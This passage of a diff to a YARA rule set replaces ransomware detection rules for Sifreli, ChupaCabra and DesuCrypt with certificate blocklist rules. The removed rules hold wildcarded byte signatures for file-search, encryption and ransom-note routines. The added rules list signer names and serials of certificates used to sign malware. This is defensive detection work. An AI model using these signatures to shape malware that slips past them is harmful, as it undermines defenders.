?? ?? ?? ?? 51 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 - ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 08 8B 49 ?? F6 44 01 ?? ?? 74 ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 - C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 C8 - 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D - 45 ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? - C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? - ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? 8B 85 ?? - ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 - ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? - C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? - ?? ?? 8D 45 ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 72 ?? FF - 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? C7 45 ?? ?? ?? - ?? ?? 66 89 45 ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? - ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and $ping_apnic and $remote_server_connection_1 and $remote_server_connection_2 and $remote_server_connection_3 and $remote_server_connection_4 and $encrypt_file + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "44:63:d8:b3:1e:0f:87:c1:42:33:d4:d0:d2:c4:87:a0" and 1477612800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Sifreli : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_387982605E542D6D52F231Ca6F5657Cc : INFO FILE { meta: - description = "Yara rule that detects Sifreli ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "974f81e2-6907-54da-97e3-3116c41b5ed4" - date = "2020-10-08" - modified = "2020-10-08" + id = "2d5731e1-b18b-544e-ae14-40d70b679618" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sifreli.yara#L1-L119" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14656-L14672" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "48f6cc678bea81afece0ae203fb27b61e2c6e4f7188a3bd260190f568c9a8a06" + logic_hash = "d55cfd45bc0d330c0ed433a882874e4633ffbaa0d68288bea9058fe269d75ed9" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Sifreli" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 8B EC 83 EC ?? 53 56 57 8B 7D ?? 8B C7 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? - 2B C2 D1 F8 8D 44 00 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? - 6A ?? 50 FF D6 8B D8 89 5D ?? 85 DB 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? - ?? ?? ?? 8B 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 51 FF D6 8B F8 85 FF 0F 84 ?? ?? ?? - ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 3D ?? ?? - ?? ?? 1B C0 40 A3 ?? ?? ?? ?? EB ?? A1 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 57 50 53 FF 15 - ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 90 F6 07 ?? 74 - ?? BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 47 ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 - 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 33 DB EB ?? - 1B C0 83 D8 ?? 85 C0 74 ?? B9 ?? ?? ?? ?? 8D 47 ?? 8D 49 ?? 66 8B 10 66 3B 11 75 ?? - 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 - EB ?? 1B C0 83 D8 ?? 85 C0 74 ?? 8B 55 ?? 8B 4D ?? 52 8D 47 ?? 50 8B 07 50 53 68 ?? - ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 55 ?? 57 52 FF 15 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 5D ?? EB ?? C7 45 ?? ?? ?? ?? - ?? 8B 0D ?? ?? ?? ?? 57 6A ?? 51 FF 15 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? 8B 15 - ?? ?? ?? ?? 53 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 5F 5E B8 ?? - ?? ?? ?? 5B 8B E5 5D C3 - } - $remote_connection_p1 = { - 55 8B EC 83 EC ?? 53 33 DB 8D 45 ?? 89 5D ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 8B 45 ?? 8B 4D ?? 56 57 50 51 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B 55 ?? 8B - 4D ?? 52 57 E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 8B 45 ?? 6A - ?? 50 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B D6 E8 ?? ?? ?? ?? 85 C0 74 ?? - C7 45 ?? ?? ?? ?? ?? 56 FF D3 8D 4D ?? 51 8D 55 ?? 52 6A ?? 57 C7 45 ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 57 8B F0 FF D3 85 F6 74 ?? 8B 45 ?? 50 FF D3 - 8B 5D ?? 83 7D ?? ?? 8B 35 ?? ?? ?? ?? 74 ?? 8B 4D ?? 8B 15 ?? ?? ?? ?? 51 6A ?? 52 - FF D6 8B 45 ?? 85 C0 74 ?? 50 A1 ?? ?? ?? ?? 6A ?? 50 FF D6 5F 5E 8B C3 5B 8B E5 5D - C3 8B C3 5B 8B E5 5D C3 - } - $remote_connection_p2 = { - 55 8B EC 83 EC ?? 56 57 68 ?? ?? ?? ?? 33 FF 57 57 57 57 FF 15 ?? ?? ?? ?? 8B F0 85 - F6 74 ?? 8B 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? 6A ?? 89 45 ?? 89 45 ?? 8D 45 ?? 50 6A ?? - 56 C7 45 ?? ?? ?? ?? ?? FF D7 6A ?? 8D 4D ?? 51 6A ?? 56 FF D7 6A ?? 8D 55 ?? 52 6A - ?? 56 FF D7 8B 45 ?? 8B 4D ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 50 51 56 FF 15 ?? ?? ?? - ?? 8B F8 85 FF 75 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 8B E5 5D C3 - } - $remote_connection_p3 = { - 55 8B EC 83 EC ?? 53 56 8B F0 33 C0 89 06 57 89 46 ?? 89 46 ?? 6A ?? 50 89 46 ?? 8D - 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 6A ?? BF ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 89 7D ?? 89 7D ?? 89 7D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? - ?? ?? ?? 8B 4D ?? 8B 1D ?? ?? ?? ?? 8D 4C 09 ?? 33 C0 85 C9 74 ?? 8B 15 ?? ?? ?? ?? - 51 50 52 FF D3 89 06 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 51 52 50 E8 ?? ?? ?? - ?? 8B 06 8B 55 ?? 33 C9 66 89 0C 50 8B 4D ?? 83 C4 ?? 85 C9 74 ?? 8B 45 ?? 66 83 38 - ?? 75 ?? 83 45 ?? ?? 2B CF 89 4D ?? 85 C9 75 ?? 8B 55 ?? 8D 7C 0A ?? 8D 54 3F ?? 33 - C0 85 D2 74 ?? 52 50 A1 ?? ?? ?? ?? 50 FF D3 8B 4D ?? 89 46 ?? 85 C0 74 ?? 51 8B 4D - ?? 51 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 4E ?? 52 8B 55 ?? 50 8D 44 51 - ?? 50 E8 ?? ?? ?? ?? 8B 46 ?? B9 ?? ?? ?? ?? 66 89 08 33 D2 66 89 14 78 66 8B 45 ?? - 83 C4 ?? 83 7D ?? ?? 66 89 46 ?? 75 ?? 83 4E ?? ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D - C3 8B 36 85 F6 74 ?? 8B 0D ?? ?? ?? ?? 56 6A ?? 51 FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B - 8B E5 5D C3 - } - $encrypt_files_1 = { - 8B C3 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 57 8B F8 8D 4C 3F ?? 33 - C0 85 C9 74 ?? 51 50 A1 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8B F0 8B CB - 2B F3 8D 9B ?? ?? ?? ?? 0F B7 11 66 89 14 0E 83 C1 ?? 66 85 D2 75 ?? B9 ?? ?? ?? ?? - 8D 34 3F 2B F1 03 F0 EB ?? 8D 49 ?? 0F B7 11 66 89 14 0E 83 C1 ?? 66 85 D2 75 ?? 5E - 5F C3 - } - $encrypt_files_2 = { - 83 E8 ?? 53 56 57 8B DA 74 ?? 48 74 ?? 5F 5E 33 C0 5B C3 53 51 33 F6 E8 ?? ?? ?? ?? - 83 C4 ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8B F0 33 FF 85 F6 74 ?? 56 53 FF 15 ?? ?? ?? ?? - 85 C0 74 ?? BF ?? ?? ?? ?? A1 ?? ?? ?? ?? 56 6A ?? 50 FF 15 ?? ?? ?? ?? 8B F7 5F 8B - C6 5E 5B C3 53 51 33 F6 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8B F0 33 - FF 85 F6 74 ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? BF ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? - 56 6A ?? 51 FF 15 ?? ?? ?? ?? 8B F7 5F 8B C6 5E 5B C3 ?? ?? 55 8B EC 8B 4D ?? 8B 41 - ?? 83 F8 ?? 0F 8F ?? ?? ?? ?? F7 45 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 40 53 89 41 ?? - 8B 45 ?? 83 E8 ?? 56 57 74 ?? 48 0F 85 ?? ?? ?? ?? 8B 7D ?? 33 F6 8D 9B ?? ?? ?? ?? - 8B 86 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 83 - FE ?? 72 ?? 8B 5D ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8B 4D ?? 51 56 E8 ?? ?? ?? ?? - 83 C4 ?? EB ?? 8B 41 ?? 83 E8 ?? 74 ?? 48 75 ?? 8B 75 ?? E8 ?? ?? ?? ?? EB ?? 8B 75 - ?? 8B C6 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 85 C0 74 ?? 8B 5D ?? 8B FE E8 ?? ?? ?? ?? - 8B F0 85 F6 74 ?? 8B 7D ?? 8B 47 ?? 8B 0F 8B D6 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 47 ?? - 85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B 45 ?? FF 48 ?? 5F 5E 5B B8 - ?? ?? ?? ?? 5D C3 - } - $encrypt_files_3 = { - 8B C6 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 83 C0 ?? 85 C0 7E ?? EB - ?? 8D 49 ?? 66 83 3C 46 ?? 74 ?? 48 85 C0 7F ?? 33 C0 C3 8D 44 46 ?? 85 C0 74 ?? 83 - C0 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Jiang Liu" and pe.signatures [ i ] . serial == "38:79:82:60:5e:54:2d:6d:52:f2:31:ca:6f:56:57:cc" and 1475884800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Chupacabra : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_E0134C41E7Eda6863C4Eee5B003976Dd : INFO FILE { meta: - description = "Yara rule that detects ChupaCabra ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e44a101d-53c3-51f2-84ca-f6a5858c169b" - date = "2021-10-12" - modified = "2021-10-12" + id = "395c14fd-2fec-53ad-bc8e-2dd4bb3522d2" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.ChupaCabra.yara#L1-L90" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14674-L14692" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7f247778e0bd8057670abf42b2d1011ebae891ffcb21ebad50060f9a7986bf93" + logic_hash = "fbe34baf52e3fa7d7cdfcfaef9b8851c4cbeb46d17eeade61750e59cf0c13291" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "ChupaCabra" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 7E ?? ?? ?? ?? 28 - ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 14 0A 14 0B 7E ?? ?? ?? ?? 7E ?? ?? - ?? ?? 73 ?? ?? ?? ?? 0C 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 09 73 ?? ?? ?? ?? 13 ?? 73 ?? - ?? ?? ?? 0A 06 08 06 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 11 ?? 28 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 06 06 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 - ?? 11 ?? 16 73 ?? ?? ?? ?? 13 ?? 11 ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 0B DE - ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? - 11 ?? 6F ?? ?? ?? ?? DC 06 2C ?? 06 6F ?? ?? ?? ?? DC 07 2A - } - $encrypt_files_p2 = { - 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 02 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 0A 02 06 28 ?? ?? ?? ?? 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 38 ?? ?? - ?? ?? 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 20 ?? ?? ?? ?? 8D ?? ?? - ?? ?? 0B 02 19 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C 08 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? - ?? ?? ?? 0D 09 07 09 8E 69 28 ?? ?? ?? ?? DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? DC 02 19 28 - ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 07 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? - ?? ?? ?? DC 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 26 02 28 - ?? ?? ?? ?? 13 ?? 11 ?? 17 5F 17 33 ?? 11 ?? 17 28 ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? - ?? ?? 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 02 28 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 38 ?? ?? ?? ?? 02 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 30 ?? 20 ?? ?? ?? - ?? 8D ?? ?? ?? ?? 13 ?? 02 19 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 02 19 28 - ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F - ?? ?? ?? ?? DC 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? DE ?? 26 DE ?? - 2A - } - $find_files_p1 = { - 02 28 ?? ?? ?? ?? 0A 02 28 ?? ?? ?? ?? 0B 16 0C 2B ?? 06 08 9A 28 ?? ?? ?? ?? 72 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 08 9A 28 ?? ?? ?? ?? 08 17 58 0C 08 06 8E 69 32 ?? 16 0D - 2B ?? 07 09 9A 28 ?? ?? ?? ?? 09 17 58 0D 09 07 8E 69 32 ?? DE ?? 26 DE ?? 2A - } - $find_files_p2 = { - 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? - ?? 1F ?? 8D ?? ?? ?? ?? 25 16 1E 28 ?? ?? ?? ?? A2 25 17 1F ?? 28 ?? ?? ?? ?? A2 25 18 - 1F ?? 28 ?? ?? ?? ?? A2 25 19 1F ?? 28 ?? ?? ?? ?? A2 25 1A 1F ?? 28 ?? ?? ?? ?? A2 25 - 1B 1B 28 ?? ?? ?? ?? A2 25 1C 1C 28 ?? ?? ?? ?? A2 25 1D 1F ?? 28 ?? ?? ?? ?? A2 25 1E - 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? - A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1B 28 ?? - ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? - 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F ?? 28 ?? ?? ?? ?? - A2 0A 16 0B 2B ?? 06 07 9A 28 ?? ?? ?? ?? 07 17 58 0B 07 06 8E 69 32 ?? 2A - } - $drop_ransom_note = { - 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 39 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? - ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 7E ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 7E - ?? ?? ?? ?? A2 25 1A 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 7E ?? ?? ?? - ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 7E ?? ?? ?? ?? A2 25 1A 72 ?? ?? ?? ?? A2 28 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 26 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 26 73 ?? ?? ?? ?? 0A 7E ?? ?? ?? ?? 0B 06 07 6F ?? ?? ?? ?? 26 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $drop_ransom_note ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "5000 LIMITED" and ( pe.signatures [ i ] . serial == "00:e0:13:4c:41:e7:ed:a6:86:3c:4e:ee:5b:00:39:76:dd" or pe.signatures [ i ] . serial == "e0:13:4c:41:e7:ed:a6:86:3c:4e:ee:5b:00:39:76:dd" ) and 1528070400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Desucrypt : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_5B47A4739Dd8Ffe81D9B5307 : INFO FILE { meta: - description = "Yara rule that detects DesuCrypt ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b9b3ce2b-f184-5bfa-8e1c-a7b996ac708a" - date = "2020-06-26" - modified = "2020-07-15" + id = "9688b091-9a77-59c2-b7f9-a8b652201b8f" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DesuCrypt.yara#L1-L93" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14694-L14710" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bd3ba8ea0fc16aad859a73628d0eda180d49298162fe239acf81c7c4e371eaad" + logic_hash = "5f35f520d4af26fa648553894a5b0db043d0c32302d94f531b6cb48691396a92" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "DesuCrypt" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41 - F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? ?? - ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? FF - 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? 8B - CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? 8B - 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 FF - 57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 - C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? 57 8B 7D ?? 89 9D ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 - ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8A 11 80 FA - ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 53 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 DB - 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8A C3 80 FA ?? 75 ?? B0 ?? 0F B6 C0 2B CF 41 F7 D8 56 - 1B C0 23 C1 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? - 83 C4 ?? 8D 85 ?? ?? ?? ?? 53 53 53 50 53 57 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? - ?? 83 FE ?? 75 ?? 50 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 83 FE ?? 74 ?? 56 FF 15 - ?? ?? ?? ?? 8B C3 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 - C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? - 80 F9 ?? 75 ?? 38 9D ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 - 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 - } - $encrypt_files = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? - ?? ?? 53 56 